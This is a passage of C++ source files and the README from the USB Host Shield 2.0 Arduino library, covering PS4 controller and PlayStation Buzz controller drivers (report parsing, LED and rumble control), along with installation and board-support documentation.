touching : 1; // The top bit is cleared if the finger is touching the touchpad uint16_t x : 12; uint16_t y : 12; } __attribute__((packed)) finger[2]; // 0 = first finger, 1 = second finger } __attribute__((packed)); struct PS4Status { uint8_t battery : 4; uint8_t usb : 1; uint8_t audio : 1; uint8_t mic : 1; uint8_t unknown : 1; // Extension port? } __attribute__((packed)); struct PS4Data { /* Button and joystick values */ uint8_t hatValue[4]; PS4Buttons btn; uint8_t trigger[2]; /* Gyro and accelerometer values */ uint8_t dummy[3]; // First two looks random, while the third one might be some kind of status - it increments once in a while int16_t gyroY, gyroZ, gyroX; int16_t accX, accZ, accY; uint8_t dummy2[5]; PS4Status status; uint8_t dummy3[3]; /* The rest is data for the touchpad */ touchpadXY xy[3]; // It looks like it sends out three coordinates each time, this might be because the microcontroller inside the PS4 controller is much faster than the Bluetooth connection. // The last data is read from the last position in the array while the oldest measurement is from the first position. // The first position will also keep it's value after the finger is released, while the other two will set them to zero. // Note that if you read fast enough from the device, then only the first one will contain any data. // The last three bytes are always: 0x00, 0x80, 0x00 } __attribute__((packed)); struct PS4Output { uint8_t bigRumble, smallRumble; // Rumble uint8_t r, g, b; // RGB uint8_t flashOn, flashOff; // Time to flash bright/dark (255 = 2.5 seconds) bool reportChanged; // The data is send when data is received from the controller } __attribute__((packed)); /** This class parses all the data sent by the PS4 controller */ class PS4Parser { public: /** Constructor for the PS4Parser class. */ PS4Parser() { Reset(); }; /** @name PS4 Controller functions */ /** * getButtonPress(ButtonEnum b) will return true as long as the button is held down. * * While getButtonClick(ButtonEnum b) will only return it once. * * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b), * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b). * @param b ::ButtonEnum to read. * @return getButtonPress(ButtonEnum b) will return a true as long as a button is held down, while getButtonClick(ButtonEnum b) will return true once for each button press. */ bool getButtonPress(ButtonEnum b); bool getButtonClick(ButtonEnum b); /**@}*/ /** @name PS4 Controller functions */ /** * Used to get the analog value from button presses. * @param b The ::ButtonEnum to read. * The supported buttons are: * ::UP, ::RIGHT, ::DOWN, ::LEFT, ::L1, ::L2, ::R1, ::R2, * ::TRIANGLE, ::CIRCLE, ::CROSS, ::SQUARE, and ::T. * @return Analog value in the range of 0-255. */ uint8_t getAnalogButton(ButtonEnum b); /** * Used to read the analog joystick. * @param a ::LeftHatX, ::LeftHatY, ::RightHatX, and ::RightHatY. * @return Return the analog value in the range of 0-255. */ uint8_t getAnalogHat(AnalogHatEnum a); /** * Get the x-coordinate of the touchpad. Position 0 is in the top left. * @param finger 0 = first finger, 1 = second finger. If omitted, then 0 will be used. * @param xyId The controller sends out three packets with the same structure. * The third one will contain the last measure, but if you read from the controller then there is only be data in the first one. * For that reason it will be set to 0 if the argument is omitted. * @return Returns the x-coordinate of the finger. */ uint16_t getX(uint8_t finger = 0, uint8_t xyId = 0) { return ps4Data.xy[xyId].finger[finger].x; }; /** * Get the y-coordinate of the touchpad. Position 0 is in the top left. * @param finger 0 = first finger, 1 = second finger. If omitted, then 0 will be used. * @param xyId The controller sends out three packets with the same structure. * The third one will contain the last measure, but if you read from the controller then there is only be data in the first one. * For that reason it will be set to 0 if the argument is omitted. * @return Returns the y-coordinate of the finger. */ uint16_t getY(uint8_t finger = 0, uint8_t xyId = 0) { return ps4Data.xy[xyId].finger[finger].y; }; /** * Returns whenever the user is toucing the touchpad. * @param finger 0 = first finger, 1 = second finger. If omitted, then 0 will be used. * @param xyId The controller sends out three packets with the same structure. * The third one will contain the last measure, but if you read from the controller then there is only be data in the first one. * For that reason it will be set to 0 if the argument is omitted. * @return Returns true if the specific finger is touching the touchpad. */ bool isTouching(uint8_t finger = 0, uint8_t xyId = 0) { return !(ps4Data.xy[xyId].finger[finger].touching); // The bit is cleared when a finger is touching the touchpad }; /** * This counter increments every time a finger touches the touchpad. * @param finger 0 = first finger, 1 = second finger. If omitted, then 0 will be used. * @param xyId The controller sends out three packets with the same structure. * The third one will contain the last measure, but if you read from the controller then there is only be data in the first one. * For that reason it will be set to 0 if the argument is omitted. * @return Return the value of the counter, note that it is only a 7-bit value. */ uint8_t getTouchCounter(uint8_t finger = 0, uint8_t xyId = 0) { return ps4Data.xy[xyId].finger[finger].counter; }; /** * Get the angle of the controller calculated using the accelerometer. * @param a Either ::Pitch or ::Roll. * @return Return the angle in the range of 0-360. */ float getAngle(AngleEnum a) { if (a == Pitch) return (atan2f(ps4Data.accY, ps4Data.accZ) + PI) * RAD_TO_DEG; else return (atan2f(ps4Data.accX, ps4Data.accZ) + PI) * RAD_TO_DEG; }; /** * Used to get the raw values from the 3-axis gyroscope and 3-axis accelerometer inside the PS4 controller. * @param s The sensor to read. * @return Returns the raw sensor reading. */ int16_t getSensor(SensorEnum s) { switch(s) { case gX: return ps4Data.gyroX; case gY: return ps4Data.gyroY; case gZ: return ps4Data.gyroZ; case aX: return ps4Data.accX; case aY: return ps4Data.accY; case aZ: return ps4Data.accZ; default: return 0; } }; /** * Return the battery level of the PS4 controller. * @return The battery level in the range 0-15. */ uint8_t getBatteryLevel() { return ps4Data.status.battery; }; /** * Use this to check if an USB cable is connected to the PS4 controller. * @return Returns true if an USB cable is connected. */ bool getUsbStatus() { return ps4Data.status.usb; }; /** * Use this to check if an audio jack cable is connected to the PS4 controller. * @return Returns true if an audio jack cable is connected. */ bool getAudioStatus() { return ps4Data.status.audio; }; /** * Use this to check if a microphone is connected to the PS4 controller. * @return Returns true if a microphone is connected. */ bool getMicStatus() { return ps4Data.status.mic; }; /** Turn both rumble and the LEDs off. */ void setAllOff() { setRumbleOff(); setLedOff(); }; /** Set rumble off. */ void setRumbleOff() { setRumbleOn(0, 0); }; /** * Turn on rumble. * @param mode Either ::RumbleHigh or ::RumbleLow. */ void setRumbleOn(RumbleEnum mode) { if (mode == RumbleLow) setRumbleOn(0x00, 0xFF); else setRumbleOn(0xFF, 0x00); }; /** * Turn on rumble. * @param bigRumble Value for big motor. * @param smallRumble Value for small motor. */ void setRumbleOn(uint8_t bigRumble, uint8_t smallRumble) { ps4Output.bigRumble = bigRumble; ps4Output.smallRumble = smallRumble; ps4Output.reportChanged = true; }; /** Turn all LEDs off. */ void setLedOff() { setLed(0, 0, 0); }; /** * Use this to set the color using RGB values. * @param r,g,b RGB value. */ void setLed(uint8_t r, uint8_t g, uint8_t b) { ps4Output.r = r; ps4Output.g = g; ps4Output.b = b; ps4Output.reportChanged = true; }; /** * Use this to set the color using the predefined colors in ::ColorsEnum. * @param color The desired color. */ void setLed(ColorsEnum color) { setLed((uint8_t)(color >> 16), (uint8_t)(color >> 8), (uint8_t)(color)); }; /** * Set the LEDs flash time. * @param flashOn Time to flash bright (255 = 2.5 seconds). * @param flashOff Time to flash dark (255 = 2.5 seconds). */ void setLedFlash(uint8_t flashOn, uint8_t flashOff) { ps4Output.flashOn = flashOn; ps4Output.flashOff = flashOff; ps4Output.reportChanged = true; }; /**@}*/ protected: /** * Used to parse data sent from the PS4 controller. * @param len Length of the data. * @param buf Pointer to the data buffer. */ void Parse(uint8_t len, uint8_t *buf); /** Used to reset the different buffers to their default values */ void Reset(); /** * Send the output to the PS4 controller. This is implemented in PS4BT.h and PS4USB.h. * @param output Pointer to PS4Output buffer; */ virtual void sendOutputReport(PS4Output *output) = 0; private: bool checkDpad(ButtonEnum b); // Used to check PS4 DPAD buttons PS4Data ps4Data; PS4Buttons oldButtonState, buttonClickState; PS4Output ps4Output; uint8_t oldDpad; }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/PS4USB.h ================================================ /* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _ps4usb_h_ #define _ps4usb_h_ #include "hiduniversal.h" #include "PS4Parser.h" #define PS4_VID 0x054C // Sony Corporation #define PS4_PID 0x05C4 // PS4 Controller #define PS4_PID_SLIM 0x09CC // PS4 Slim Controller /** * This class implements support for the PS4 controller via USB. * It uses the HIDUniversal class for all the USB communication. */ class PS4USB : public HIDUniversal, public PS4Parser { public: /** * Constructor for the PS4USB class. * @param p Pointer to the USB class instance. */ PS4USB(USB *p) : HIDUniversal(p) { PS4Parser::Reset(); }; /** * Used to check if a PS4 controller is connected. * @return Returns true if it is connected. */ bool connected() { return HIDUniversal::isReady() && HIDUniversal::VID == PS4_VID && (HIDUniversal::PID == PS4_PID || HIDUniversal::PID == PS4_PID_SLIM); }; /** * Used to call your own function when the device is successfully initialized. * @param funcOnInit Function to call. */ void attachOnInit(void (*funcOnInit)(void)) { pFuncOnInit = funcOnInit; }; protected: /** @name HIDUniversal implementation */ /** * Used to parse USB HID data. * @param hid Pointer to the HID class. * @param is_rpt_id Only used for Hubs. * @param len The length of the incoming data. * @param buf Pointer to the data buffer. */ virtual void ParseHIDData(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf) { if (HIDUniversal::VID == PS4_VID && (HIDUniversal::PID == PS4_PID || HIDUniversal::PID == PS4_PID_SLIM)) PS4Parser::Parse(len, buf); }; /** * Called when a device is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ virtual uint8_t OnInitSuccessful() { if (HIDUniversal::VID == PS4_VID && (HIDUniversal::PID == PS4_PID || HIDUniversal::PID == PS4_PID_SLIM)) { PS4Parser::Reset(); if (pFuncOnInit) pFuncOnInit(); // Call the user function else setLed(Blue); }; return 0; }; /**@}*/ /** @name PS4Parser implementation */ virtual void sendOutputReport(PS4Output *output) { // Source: https://github.com/chrippa/ds4drv uint8_t buf[32]; memset(buf, 0, sizeof(buf)); buf[0] = 0x05; // Report ID buf[1]= 0xFF; buf[4] = output->smallRumble; // Small Rumble buf[5] = output->bigRumble; // Big rumble buf[6] = output->r; // Red buf[7] = output->g; // Green buf[8] = output->b; // Blue buf[9] = output->flashOn; // Time to flash bright (255 = 2.5 seconds) buf[10] = output->flashOff; // Time to flash dark (255 = 2.5 seconds) output->reportChanged = false; // The PS4 console actually set the four last bytes to a CRC32 checksum, but it seems like it is actually not needed pUsb->outTransfer(bAddress, epInfo[ hidInterfaces[0].epIndex[epInterruptOutIndex] ].epAddr, sizeof(buf), buf); }; /**@}*/ /** @name USBDeviceConfig implementation */ /** * Used by the USB core to check what this driver support. * @param vid The device's VID. * @param pid The device's PID. * @return Returns true if the device's VID and PID matches this driver. */ virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { return (vid == PS4_VID && (pid == PS4_PID || HIDUniversal::PID == PS4_PID_SLIM)); }; /**@}*/ private: void (*pFuncOnInit)(void); // Pointer to function called in onInit() }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/PSBuzz.cpp ================================================ /* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #include "PSBuzz.h" // To enable serial debugging see "settings.h" //#define PRINTREPORT // Uncomment to print the report send by the PS Buzz Controllers void PSBuzz::ParseHIDData(USBHID *hid __attribute__((unused)), bool is_rpt_id __attribute__((unused)), uint8_t len, uint8_t *buf) { if (HIDUniversal::VID == PSBUZZ_VID && HIDUniversal::PID == PSBUZZ_PID && len > 2 && buf) { #ifdef PRINTREPORT Notify(PSTR("\r\n"), 0x80); for (uint8_t i = 0; i < len; i++) { D_PrintHex (buf[i], 0x80); Notify(PSTR(" "), 0x80); } #endif memcpy(&psbuzzButtons, buf + 2, min((uint8_t)(len - 2), MFK_CASTUINT8T sizeof(psbuzzButtons))); if (psbuzzButtons.val != oldButtonState.val) { // Check if anything has changed buttonClickState.val = psbuzzButtons.val & ~oldButtonState.val; // Update click state variable oldButtonState.val = psbuzzButtons.val; } } }; uint8_t PSBuzz::OnInitSuccessful() { if (HIDUniversal::VID == PSBUZZ_VID && HIDUniversal::PID == PSBUZZ_PID) { Reset(); if (pFuncOnInit) pFuncOnInit(); // Call the user function else setLedOnAll(); // Turn the LED on, on all four controllers }; return 0; }; bool PSBuzz::getButtonPress(ButtonEnum b, uint8_t controller) { return psbuzzButtons.val & (1UL << (b + 5 * controller)); // Each controller uses 5 bits, so the value is shifted 5 for each controller }; bool PSBuzz::getButtonClick(ButtonEnum b, uint8_t controller) { uint32_t mask = (1UL << (b + 5 * controller)); // Each controller uses 5 bits, so the value is shifted 5 for each controller bool click = buttonClickState.val & mask; buttonClickState.val &= ~mask; // Clear "click" event return click; }; // Source: http://www.developerfusion.com/article/84338/making-usb-c-friendly/ and https://github.com/torvalds/linux/blob/master/drivers/hid/hid-sony.c void PSBuzz::setLedRaw(bool value, uint8_t controller) { ledState[controller] = value; // Save value for next time it is called uint8_t buf[7]; buf[0] = 0x00; buf[1] = ledState[0] ? 0xFF : 0x00; buf[2] = ledState[1] ? 0xFF : 0x00; buf[3] = ledState[2] ? 0xFF : 0x00; buf[4] = ledState[3] ? 0xFF : 0x00; buf[5] = 0x00; buf[6] = 0x00; PSBuzz_Command(buf, sizeof(buf)); }; void PSBuzz::PSBuzz_Command(uint8_t *data, uint16_t nbytes) { // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x00), Report Type (Output 0x02), interface (0x00), datalength, datalength, data) pUsb->ctrlReq(bAddress, epInfo[0].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x00, 0x02, 0x00, nbytes, nbytes, data, NULL); }; ================================================ FILE: libraries/USB_Host_Shield_2.0/PSBuzz.h ================================================ /* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _psbuzz_h_ #define _psbuzz_h_ #include "hiduniversal.h" #include "controllerEnums.h" #define PSBUZZ_VID 0x054C // Sony Corporation #define PSBUZZ_PID 0x1000 // PS Buzz Controller /** Struct used to easily read the different buttons on the controllers */ union PSBUZZButtons { struct { uint8_t red : 1; uint8_t yellow : 1; uint8_t green : 1; uint8_t orange : 1; uint8_t blue : 1; } __attribute__((packed)) btn[4]; uint32_t val : 20; } __attribute__((packed)); /** * This class implements support for the PS Buzz controllers via USB. * It uses the HIDUniversal class for all the USB communication. */ class PSBuzz : public HIDUniversal { public: /** * Constructor for the PSBuzz class. * @param p Pointer to the USB class instance. */ PSBuzz(USB *p) : HIDUniversal(p) { Reset(); }; /** * Used to check if a PS Buzz controller is connected. * @return Returns true if it is connected. */ bool connected() { return HIDUniversal::isReady() && HIDUniversal::VID == PSBUZZ_VID && HIDUniversal::PID == PSBUZZ_PID; }; /** * Used to call your own function when the device is successfully initialized. * @param funcOnInit Function to call. */ void attachOnInit(void (*funcOnInit)(void)) { pFuncOnInit = funcOnInit; }; /** @name PS Buzzer Controller functions */ /** * getButtonPress(ButtonEnum b) will return true as long as the button is held down. * * While getButtonClick(ButtonEnum b) will only return it once. * * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b), * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b). * @param b ::ButtonEnum to read. * @param controller The controller to read from. Default to 0. * @return getButtonPress(ButtonEnum b) will return a true as long as a button is held down, while getButtonClick(ButtonEnum b) will return true once for each button press. */ bool getButtonPress(ButtonEnum b, uint8_t controller = 0); bool getButtonClick(ButtonEnum b, uint8_t controller = 0); /**@}*/ /** @name PS Buzzer Controller functions */ /** * Set LED value without using ::LEDEnum. * @param value See: ::LEDEnum. */ /** * Set LED values directly. * @param value Used to set whenever the LED should be on or off * @param controller The controller to control. Defaults to 0. */ void setLedRaw(bool value, uint8_t controller = 0); /** Turn all LEDs off. */ void setLedOffAll() { for (uint8_t i = 1; i < 4; i++) // Skip first as it will be set in setLedRaw ledState[i] = false; // Just an easy way to set all four off at the same time setLedRaw(false); // Turn the LED off, on all four controllers }; /** * Turn the LED off on a specific controller. * @param controller The controller to turn off. Defaults to 0. */ void setLedOff(uint8_t controller = 0) { setLedRaw(false, controller); }; /** Turn all LEDs on. */ void setLedOnAll() { for (uint8_t i = 1; i < 4; i++) // Skip first as it will be set in setLedRaw ledState[i] = true; // Just an easy way to set all four off at the same time setLedRaw(true); // Turn the LED on, on all four controllers }; /** * Turn the LED on on a specific controller. * @param controller The controller to turn off. Defaults to 0. */ void setLedOn(uint8_t controller = 0) { setLedRaw(true, controller); }; /** * Toggle the LED on a specific controller. * @param controller The controller to turn off. Defaults to 0. */ void setLedToggle(uint8_t controller = 0) { setLedRaw(!ledState[controller], controller); }; /**@}*/ protected: /** @name HIDUniversal implementation */ /** * Used to parse USB HID data. * @param hid Pointer to the HID class. * @param is_rpt_id Only used for Hubs. * @param len The length of the incoming data. * @param buf Pointer to the data buffer. */ void ParseHIDData(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf); /** * Called when a device is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ uint8_t OnInitSuccessful(); /**@}*/ /** Used to reset the different buffers to their default values */ void Reset() { psbuzzButtons.val = 0; oldButtonState.val = 0; buttonClickState.val = 0; for (uint8_t i = 0; i < sizeof(ledState); i++) ledState[i] = 0; }; /** @name USBDeviceConfig implementation */ /** * Used by the USB core to check what this driver support. * @param vid The device's VID. * @param pid The device's PID. * @return Returns true if the device's VID and PID matches this driver. */ virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { return (vid == PSBUZZ_VID && pid == PSBUZZ_PID); }; /**@}*/ private: void (*pFuncOnInit)(void); // Pointer to function called in onInit() void PSBuzz_Command(uint8_t *data, uint16_t nbytes); PSBUZZButtons psbuzzButtons, oldButtonState, buttonClickState; bool ledState[4]; }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/README.md ================================================ # USB Host Library Rev.2.0 The code is released under the GNU General Public License. __________ [![Build Status](https://travis-ci.org/felis/USB_Host_Shield_2.0.svg?branch=master)](https://travis-ci.org/felis/USB_Host_Shield_2.0) # Summary This is Revision 2.0 of MAX3421E-based USB Host Shield Library for AVR's. Project main web site is: . Some information can also be found at: . The shield can be purchased at the main site: or from [TKJ Electronics](http://tkjelectronics.com/): . ![USB Host Shield](http://shop.tkjelectronics.dk/images/USB_Host_Shield1.jpg) For more information about the hardware see the [Hardware Manual](http://www.circuitsathome.com/usb-host-shield-hardware-manual). # Developed By * __Oleg Mazurov, Circuits@Home__ - * __Alexei Glushchenko, Circuits@Home__ - * Developers of the USB Core, HID, FTDI, ADK, ACM, and PL2303 libraries * __Kristian Lauszus, TKJ Electronics__ - * Developer of the [BTD](#bluetooth-libraries), [BTHID](#bthid-library), [SPP](#spp-library), [PS4](#ps4-library), [PS3](#ps3-library), [Wii](#wii-library), [Xbox](#xbox-library), and [PSBuzz](#ps-buzz-library) libraries * __Andrew Kroll__ - * Major contributor to mass storage code * __guruthree__ * [Xbox ONE](#xbox-one-library) controller support * __Yuuichi Akagawa__ - [@YuuichiAkagawa](https://twitter.com/yuuichiakagawa) * Developer of the [MIDI](#midi-library) library # Donate Help yourself by helping us support you! Many thousands of hours have been spent developing the USB Host Shield library. Since you find it useful, please consider donating via the button below. Donations will allow us to support you by ensuring hardware that you have can be acquired in order to add support for your microcontroller board. PayPal - The safer, easier way to pay online! # Table of Contents * [How to include the library](#how-to-include-the-library) * [Arduino Library Manager](#arduino-library-manager) * [Manual installation](#manual-installation) * [How to use the library](#how-to-use-the-library) * [Documentation](#documentation) * [Enable debugging](#enable-debugging) * [Boards](#boards) * [Bluetooth libraries](#bluetooth-libraries) * [BTHID library](#bthid-library) * [SPP library](#spp-library) * [PS4 Library](#ps4-library) * [PS3 Library](#ps3-library) * [Xbox Libraries](#xbox-libraries) * [Xbox library](#xbox-library) * [Xbox 360 Library](#xbox-360-library) * [Xbox ONE Library](#xbox-one-library) * [Wii library](#wii-library) * [PS Buzz Library](#ps-buzz-library) * [HID Libraries](#hid-libraries) * [MIDI Library](#midi-library) * [Interface modifications](#interface-modifications) * [FAQ](#faq) # How to include the library ### Arduino Library Manager First install Arduino IDE version 1.6.2 or newer, then simply use the Arduino Library Manager to install the library. Please see the following page for instructions: . ### Manual installation First download the library by clicking on the following link: . Then uncompress the zip folder and rename the directory to "USB\_Host\_Shield\_20", as any special characters are not supported by the Arduino IDE. Now open up the Arduino IDE and open "File>Preferences". There you will see the location of your sketchbook. Open that directory and create a directory called "libraries" inside that directory. Now move the "USB\_Host\_Shield\_20" directory to the "libraries" directory. The final structure should look like this: * Arduino/ * libraries/ * USB\_Host\_Shield\_20/ Now quit the Arduino IDE and reopen it. Now you should be able to go open all the examples codes by navigating to "File>Examples>USB\_Host\_Shield\_20" and then select the example you will like to open. For more information visit the following sites: and . # How to use the library ### Documentation Documentation for the library can be found at the following link: . ### Enable debugging By default serial debugging is disabled. To turn it on simply change ```ENABLE_UHS_DEBUGGING``` to 1 in [settings.h](settings.h) like so: ```C++ #define ENABLE_UHS_DEBUGGING 1 ``` ### Boards Currently the following boards are supported by the library: * All official Arduino AVR boards (Uno, Duemilanove, Mega, Mega 2560, Mega ADK, Leonardo etc.) * Arduino Due, Intel Galileo, Intel Galileo 2, and Intel Edison * Note that the Intel Galileo uses pin 2 and 3 as INT and SS pin respectively by default, so some modifications to the shield are needed. See the "Interface modifications" section in the [hardware manual](https://www.circuitsathome.com/usb-host-shield-hardware-manual) for more information. * Note native USB host is not supported on any of these platforms. You will have to use the shield for now. * Teensy (Teensy++ 1.0, Teensy 2.0, Teensy++ 2.0, Teensy 3.x, and Teensy LC) * Note if you are using the Teensy 3.x you should download this SPI library as well: . You should then add ```#include ``` to your .ino file. * Balanduino * Sanguino * Black Widdow * RedBearLab nRF51822 * Digilent chipKIT * Please see: . * STM32F4 * Currently the [NUCLEO-F446RE](http://www.st.com/web/catalog/tools/FM116/SC959/SS1532/LN1847/PF262063) is supported featuring the STM32F446. Take a look at the following example code: . * ESP8266 is supported using the [ESP8266 Arduino core](https://github.com/esp8266/Arduino) * Note it uses pin 15 and 5 for SS and INT respectively * Also please be aware that: * GPIO16 is **NOT** usable, as it will be used for some other purposes. For example, reset the SoC itself from sleep mode. * GPIO6 to 11 is also **NOT** usable, as they are used to connect SPI flash chip and it is used for storing the executable binary content. * ESP32 is supported using the [arduino-esp32](https://github.com/espressif/arduino-esp32/) * GPIO5 : SS, GPIO17 : INT, GPIO18 : SCK, GPIO19 : MISO, GPIO23 : MOSI The following boards need to be activated manually in [settings.h](settings.h): * Arduino Mega ADK * If you are using Arduino 1.5.5 or newer there is no need to activate the Arduino Mega ADK manually * Black Widdow Simply set the corresponding value to 1 instead of 0. ### [Bluetooth libraries](BTD.cpp) The [BTD library](BTD.cpp) is a general purpose library for an ordinary Bluetooth dongle. This library make it easy to add support for different Bluetooth services like a PS3 or a Wii controller or SPP which is a virtual serial port via Bluetooth. Some different examples can be found in the [example directory](examples/Bluetooth). The BTD library also makes it possible to use multiple services at once, the following example sketch is an example of this: [PS3SPP.ino](examples/Bluetooth/PS3SPP/PS3SPP.ino). ### [BTHID library](BTHID.cpp) The [Bluetooth HID library](BTHID.cpp) allows you to connect HID devices via Bluetooth to the USB Host Shield. Currently HID mice and keyboards are supported. It uses the standard Boot protocol by default, but it is also able to use the Report protocol as well. You would simply have to call ```setProtocolMode()``` and then parse ```HID_RPT_PROTOCOL``` as an argument. You will then have to modify the parser for your device. See the example: [BTHID.ino](examples/Bluetooth/BTHID/BTHID.ino) for more information. The [PS4 library](#ps4-library) also uses this class to handle all Bluetooth communication. For information see the following blog post: . ### [SPP library](SPP.cpp) SPP stands for "Serial Port Profile" and is a Bluetooth protocol that implements a virtual comport which allows you to send data back and forth from your computer/phone to your Arduino via Bluetooth. It has been tested successfully on Windows, Mac OS X, Linux, and Android. Take a look at the [SPP.ino](examples/Bluetooth/SPP/SPP.ino) example for more information. More information can be found at these blog posts: * * To implement the SPP protocol I used a Bluetooth sniffing tool called [PacketLogger](http://www.tkjelectronics.com/uploads/PacketLogger.zip) developed by Apple. It enables me to see the Bluetooth communication between my Mac and any device. ### PS4 Library The PS4BT library is split up into the [PS4BT](PS4BT.h) and the [PS4USB](PS4USB.h) library. These allow you to use the Sony PS4 controller via Bluetooth and USB. The [PS4BT.ino](examples/Bluetooth/PS4BT/PS4BT.ino) and [PS4USB.ino](examples/PS4USB/PS4USB.ino) examples shows how to easily read the buttons, joysticks, touchpad and IMU on the controller via Bluetooth and USB respectively. It is also possible to control the rumble and light on the controller and get the battery level. Before you can use the PS4 controller via Bluetooth you will need to pair with it. Simply create the PS4BT instance like so: ```PS4BT PS4(&Btd, PAIR);``` and then hold down the Share button and then hold down the PS without releasing the Share button. The PS4 controller will then start to blink rapidly indicating that it is in pairing mode. It should then automatically pair the dongle with your controller. This only have to be done once. For information see the following blog post: . Also check out this excellent Wiki by Frank Zhao about the PS4 controller: and this Linux driver: . ### PS3 Library These libraries consist of the [PS3BT](PS3BT.cpp) and [PS3USB](PS3USB.cpp). These libraries allows you to use a Dualshock 3, Navigation or a Motion controller with the USB Host Shield both via Bluetooth and USB. In order to use your Playstation controller via Bluetooth you have to set the Bluetooth address of the dongle internally to your PS3 Controller. This can be achieved by first plugging in the Bluetooth dongle and wait a few seconds. Now plug in the controller via USB and wait until the LEDs start to flash. The library has now written the Bluetooth address of the dongle to the PS3 controller. Finally simply plug in the Bluetooth dongle again and press PS on the PS3 controller. After a few seconds it should be connected to the dongle and ready to use. __Note:__ You will have to plug in the Bluetooth dongle before connecting the controller, as the library needs to read the address of the dongle. Alternatively you could set it in code like so: [PS3BT.ino#L20](examples/Bluetooth/PS3BT/PS3BT.ino#L20). For more information about the PS3 protocol see the official wiki: . Also take a look at the blog posts: * * * A special thanks go to the following people: 1. _Richard Ibbotson_ who made this excellent guide: 2. _Tomoyuki Tanaka_ for releasing his code for the Arduino USB Host shield connected to the wiimote: Also a big thanks all the people behind these sites about the Motion controller: * * * * ### Xbox Libraries The library supports both the original Xbox controller via USB and the Xbox 360 controller both via USB and wirelessly. #### Xbox library The [XBOXOLD](XBOXOLD.cpp) class implements support for the original Xbox controller via USB. All the information are from the following sites: * * * * #### Xbox 360 Library The library support one Xbox 360 via USB or up to four Xbox 360 controllers wirelessly by using a [Xbox 360 wireless receiver](http://blog.tkjelectronics.dk/wp-content/uploads/xbox360-wireless-receiver.jpg). To use it via USB use the [XBOXUSB](XBOXUSB.cpp) library or to use it wirelessly use the [XBOXRECV](XBOXRECV.cpp) library. __Note that a Wireless controller can NOT be used via USB!__ Examples code can be found in the [examples directory](examples/Xbox). Also see the following blog posts: * * * All the information regarding the Xbox 360 controller protocol are form these sites: * * * #### Xbox ONE Library An Xbox ONE controller is supported via USB in the [XBOXONE](XBOXONE.cpp) class. It is heavily based on the 360 library above. In addition to cross referencing the above, information on the protocol was found at: * * * ### [Wii library](Wii.cpp) The [Wii](Wii.cpp) library support the Wiimote, but also the Nunchuch and Motion Plus extensions via Bluetooth. The Wii U Pro Controller and Wii Balance Board are also supported via Bluetooth. First you have to pair with the controller, this is done automatically by the library if you create the instance like so: ```C++ WII Wii(&Btd, PAIR); ``` And then press 1 & 2 at once on the Wiimote or the SYNC buttons if you are using a Wii U Pro Controller or a Wii Balance Board. After that you can simply create the instance like so: ```C++ WII Wii(&Btd); ``` Then just press any button on the Wiimote and it will then connect to the dongle. Take a look at the example for more information: [Wii.ino](examples/Bluetooth/Wii/Wii.ino). Also take a look at the blog post: * The Wii IR camera can also be used, but you will have to activate the code for it manually as it is quite large. Simply set ```ENABLE_WII_IR_CAMERA``` to 1 in [settings.h](settings.h). The [WiiIRCamera.ino](examples/Bluetooth/WiiIRCamera/WiiIRCamera.ino) example shows how it can be used. All the information about the Wii controllers are from these sites: * * * * * * The old library created by _Tomoyuki Tanaka_: also helped a lot. ### [PS Buzz Library](PSBuzz.cpp) This library implements support for the Playstation Buzz controllers via USB. It is essentially just a wrapper around the [HIDUniversal](hiduniversal.cpp) which takes care of the initializing and reading of the controllers. The [PSBuzz](PSBuzz.cpp) class simply inherits this and parses the data, so it is easy for users to read the buttons and turn the big red button on the controllers on and off. The example [PSBuzz.ino](examples/PSBuzz/PSBuzz.ino) shows how one can do this with just a few lines of code. More information about the controller can be found at the following sites: * http://www.developerfusion.com/article/84338/making-usb-c-friendly/ * https://github.com/torvalds/linux/blob/master/drivers/hid/hid-sony.c ### HID Libraries HID devices are also supported by the library. However these require you to write your own driver. A few example are provided in the [examples/HID](examples/HID) directory. Including an example for the [SteelSeries SRW-S1 Steering Wheel](examples/HID/SRWS1/SRWS1.ino). ### [MIDI Library](usbh_midi.cpp) The library support MIDI devices. You can convert USB MIDI keyboard to legacy serial MIDI. * [USB_MIDI_converter.ino](examples/USBH_MIDI/USB_MIDI_converter/USB_MIDI_converter.ino) * 